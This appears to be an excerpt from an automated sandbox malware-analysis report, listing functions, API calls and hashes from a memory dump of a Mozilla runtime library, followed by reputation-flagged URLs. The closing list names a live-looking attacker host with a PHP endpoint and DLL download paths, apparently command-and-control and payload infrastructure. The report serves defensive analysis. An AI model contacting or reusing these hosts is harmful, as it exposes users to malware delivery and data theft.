Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 40f6e3f9009f6a7635f51a1eec795001d16a245488d5739f9ec82c61844e4736
Instruction ID: 245b042ebf6a569a0015b678e3554142ff2c49e54545d664a08d17abdec13cb2
Opcode Fuzzy Hash: 40f6e3f9009f6a7635f51a1eec795001d16a245488d5739f9ec82c61844e4736
Instruction Fuzzy Hash: 4F517171E011298FCF08CF69C894AAEBBF1FB85304FA98619D865A7790C7306946CF95

Function 6C5DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5DCF4E

Strings

0, xrefs: 6C5DCF30

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: a637aa3f79ef768b1d268be280890f17884ea3afa6abd6ed4665a7cd8a93e415
Instruction ID: 0263fa1c984a97ad87106895fc48083ad8730367ffd23f53a662d26fb962ff41
Opcode Fuzzy Hash: a637aa3f79ef768b1d268be280890f17884ea3afa6abd6ed4665a7cd8a93e415
Instruction Fuzzy Hash: B451F075A002168FCB05CF1CC890AAAFBA5EF99314F2A859DD8595F352D731BD06CBE0

Function 6C616470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6182BC,?,?), ref: 6C61649B

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6164A9

Part of subcall function 6C60FA80: GetCurrentThreadId.KERNEL32 ref: 6C60FA8D
Part of subcall function 6C60FA80: AcquireSRWLockExclusive.KERNEL32(6C65F448), ref: 6C60FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61653F
free.MOZGLUE(?), ref: 6C61655A

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 6fc04eeac29a803119d53376bcef8f460fdad4fdfe7e6d9ab106f0dd47cd250d
Instruction ID: 34fe19702800a5037d986a3df5fac8effbf544722d443d64bde5b0355948d2be
Opcode Fuzzy Hash: 6fc04eeac29a803119d53376bcef8f460fdad4fdfe7e6d9ab106f0dd47cd250d
Instruction Fuzzy Hash: 663181B5A083059FD704CF15D88069BBBE4FF89314F50842EE89A97740D734E919CB96

Function 6C5EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EB4F5
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5EB502
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5EB542
free.MOZGLUE(?), ref: 6C5EB578

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 8277b4e43fe5573f84d65d95446105236f8bf11eb6ab75653450edb1a5e9abf6
Instruction ID: 4fbd0085afc91690fa882e5d7d57b9b669ea2aed48a7405ff4e18f1a887bea03
Opcode Fuzzy Hash: 8277b4e43fe5573f84d65d95446105236f8bf11eb6ab75653450edb1a5e9abf6
Instruction Fuzzy Hash: D711D230A04B41C7D712DF2AD940766B3B1FFDA319FA4970AD84953A02FBB0A5C5CB99

Function 6C613DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5DF20E,?), ref: 6C613DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5DF20E,00000000,?), ref: 6C613DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C613E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C613E0E

Part of subcall function 6C60CC00: GetCurrentProcess.KERNEL32(?,?,6C5D31A7), ref: 6C60CC0D
Part of subcall function 6C60CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5D31A7), ref: 6C60CC16

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: b1d30f146d151a0d574c16c2a4f3babd6e0e82d0e848a4e23e587413f25232d6
Instruction ID: d4614f3921245b2ea771380a487839e8b322fb3ac75b2d1d133d677f14d83afc
Opcode Fuzzy Hash: b1d30f146d151a0d574c16c2a4f3babd6e0e82d0e848a4e23e587413f25232d6
Instruction Fuzzy Hash: 4AF082B16002087FD700AB55DC81DAB372DDB47624F544020FD0917700D636BE1986FF

Function 6C6285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6285D3

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C628725

Strings

map/set<T> too long, xrefs: 6C628720

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 2d2d96748e38f6bfc3301927c34d4c3f681bf03392a0ac07c3edd6eeeb23bbde
Instruction ID: 385dfbe35afb8ca457665a853c17a9867f5ae68ab3bea352f90a1ea3c474da33
Opcode Fuzzy Hash: 2d2d96748e38f6bfc3301927c34d4c3f681bf03392a0ac07c3edd6eeeb23bbde
Instruction Fuzzy Hash: FC516775A00652CFD701CF18C884A99BBF1BF4A318F18C18AD8595BB62C339EC85CF96

Function 6C5DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5DBE8F

Strings

0, xrefs: 6C5DBE5B

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 0d9355782bb4f541450df70746ee4678a3d29c011590d9bbfc0c4a68f33055a0
Instruction ID: e4de7f61218caeb0ccdc6ffb853258837a6a7e02d905edce8f2e789acbd0ddad
Opcode Fuzzy Hash: 0d9355782bb4f541450df70746ee4678a3d29c011590d9bbfc0c4a68f33055a0
Instruction Fuzzy Hash: D041A171909745CFC701EF2CC881A9BB7F5EF8A348F018A1DF985A7611D730E9598B8A

Function 6C613CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C613D19
mozalloc_abort.MOZGLUE(?), ref: 6C613D6C

Strings

d, xrefs: 6C613D58

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: abfd05d4bf5618b5b7cf898aec3c9202ca551f38e433ae3a25e1fca12be29393
Instruction ID: d5107bb962fdea173de14bfea202fb48808b408f372d1b35633a1b8ca75a1ac8
Opcode Fuzzy Hash: abfd05d4bf5618b5b7cf898aec3c9202ca551f38e433ae3a25e1fca12be29393
Instruction Fuzzy Hash: C1110831E186889BDF04DF6EC8544EEB7B5EF86319F84C228DC4657A01EB309584C398

Function 6C636DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C636E22
__Init_thread_footer.LIBCMT ref: 6C636E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C636E1D

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: d1b66b9527cf06f7ac42b7df47a3ebd3c4d309c1a6fe92165c52bd8b6e6d01e8
Instruction ID: aa3dfe708f3a3aed403ea651568ae3c8515251a442ee31392e59eeb74b2c7ce2
Opcode Fuzzy Hash: d1b66b9527cf06f7ac42b7df47a3ebd3c4d309c1a6fe92165c52bd8b6e6d01e8
Instruction Fuzzy Hash: CCF0E975709240CBDB00CB6AC990A9977716713318FB42165C45947BE1DB21E51BCE9F

Function 6C5E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5E9EEF

Strings

Infinity, xrefs: 6C5E9EB7
NaN, xrefs: 6C5E9EC1

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 934e78cdf99d39e5d3d5a7d56499b56923b3b618ecec8114884933d1bcd40bb5
Instruction ID: 1f16d4c6328c432ed3badc2b37ea6a24e7555b3e8a0e6728cb340cdf85c730c8
Opcode Fuzzy Hash: 934e78cdf99d39e5d3d5a7d56499b56923b3b618ecec8114884933d1bcd40bb5
Instruction Fuzzy Hash: 67F0A9B1600242CBDB00CF1AD9C5BA433F1A707309FB04B58C6440BB81D3756556CA8F

Function 6C5E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kal,?,6C614B30,80000000,?,6C614AB7,?,6C5D43CF,?,6C5D42D2), ref: 6C5E6C42

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

moz_xmalloc.MOZGLUE(0Kal,?,6C614B30,80000000,?,6C614AB7,?,6C5D43CF,?,6C5D42D2), ref: 6C5E6C58

Strings

0Kal, xrefs: 6C5E6C33, 6C5E6C41, 6C5E6C57

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kal
API String ID: 1967447596-2504143369
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: de8ed62cae307c3c79cbc35bc68e2f4e8e149b4e77ce163f98aedd3c9396100d
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 40E086F1A107094ADB08D9789C0956E75C8CB7C6E87044A35E93AC6BC8FF54E9508151

Function 6C5EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5EBEF5

Strings

cryptbase.dll, xrefs: 6C5EBEF0

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 493f6030670bede3405f39460f7b35b195c3acbba381895159e3e31a2434d4e1
Instruction ID: d338e20cf95d3891b4090087ab1a35eee4190e44cb9eea1a82a6048f48f4e8f3
Opcode Fuzzy Hash: 493f6030670bede3405f39460f7b35b195c3acbba381895159e3e31a2434d4e1
Instruction Fuzzy Hash: ABD0C731384308E6D740FA618D05B357774A746756F64C421F75554951C7B19461CF5C

Function 6C62B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B628

Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C6290FF
Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C629108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C62B127,?,?,?,?,?,?,?,?), ref: 6C62B74D

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 47f66ef3882a445623deb7de551440892097436c6b633750fa512d263049104e
Instruction ID: 4e0f776fcdad556d5c3405aa7ea04e6eb235480ce1ceeea87d33b54d0dd7ead9
Opcode Fuzzy Hash: 47f66ef3882a445623deb7de551440892097436c6b633750fa512d263049104e
Instruction Fuzzy Hash: A451AE71A052168FDB14CF18C980AAEB7B5FFC5308F55852DC89BAB710D739A804CFA9

Function 6C626E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C626EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C626EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C626F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626F5C

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: cb4444de10137cbd29c00d56e706b582e26f301478a02803c5e7634fd6e9f76c
Instruction ID: 180c0776edc34ceba998e63a918f06a2745cc89f33af255fcd614f09db26d7eb
Opcode Fuzzy Hash: cb4444de10137cbd29c00d56e706b582e26f301478a02803c5e7634fd6e9f76c
Instruction Fuzzy Hash: E6312671A1060A8FDB14CF2CCD806AA73FAEB84304F60813DD41ACB651EF36E659CB95

Function 6C63B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5E0A4D), ref: 6C63B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5E0A4D), ref: 6C63B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5E0A4D), ref: 6C63B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5E0A4D), ref: 6C63B67F

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: c561bb69ec692aee036ed559b288e1b2c73c239ddd1b232413dff1eeb8ad9dfc
Instruction ID: 0162bfb6be52be801d6a401079ee90941f007e1092e601cbd0e033f910d57a8c
Opcode Fuzzy Hash: c561bb69ec692aee036ed559b288e1b2c73c239ddd1b232413dff1eeb8ad9dfc
Instruction Fuzzy Hash: 7A31F471B006268FDB10CF59CC8465ABBB5FFC6314F5A9529C80A9B202DB31E915CBA4

Function 6C60F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C60F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C60F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C60F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C60F668

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 6db68e1a2087bafc1bc5b3d0aaa9a3c15342b7008b7056d0057b0c8f9deb4753
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: EA316F71B00614AFC719CF1DCDC0A9B77B6EB94358B14C938FA4A8BB05D632E9448B9D

Function 6C6226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6226C1
free.MOZGLUE(?), ref: 6C6226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6226FF
free.MOZGLUE ref: 6C62270D

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 789f38c722fbfff78541f7fe78d4c1ecd94429b4a423a23db67754e2ebac05f6
Instruction ID: 87a43c34956cbb6160d55dc6821b240e83a637125a67743ba08441a9727517e5
Opcode Fuzzy Hash: 789f38c722fbfff78541f7fe78d4c1ecd94429b4a423a23db67754e2ebac05f6
Instruction Fuzzy Hash: B1F0F9B27012006BEB009A18DCC8D4773A9EF8532CB600035EA16C3B01E336F919CA99

Source: http://185.215.113.100/	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.100	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dlle	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phprowser	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpf	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpion:	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpe	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpd_	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php2b	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/freebl3.dll?	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllep	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpYb$X	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php4_	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/softokn3.dllO	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpDBKFCAAEBFIDHDBAENy	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll5s	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phptware	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dllw	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dll	Avira URL Cloud: Label: malware
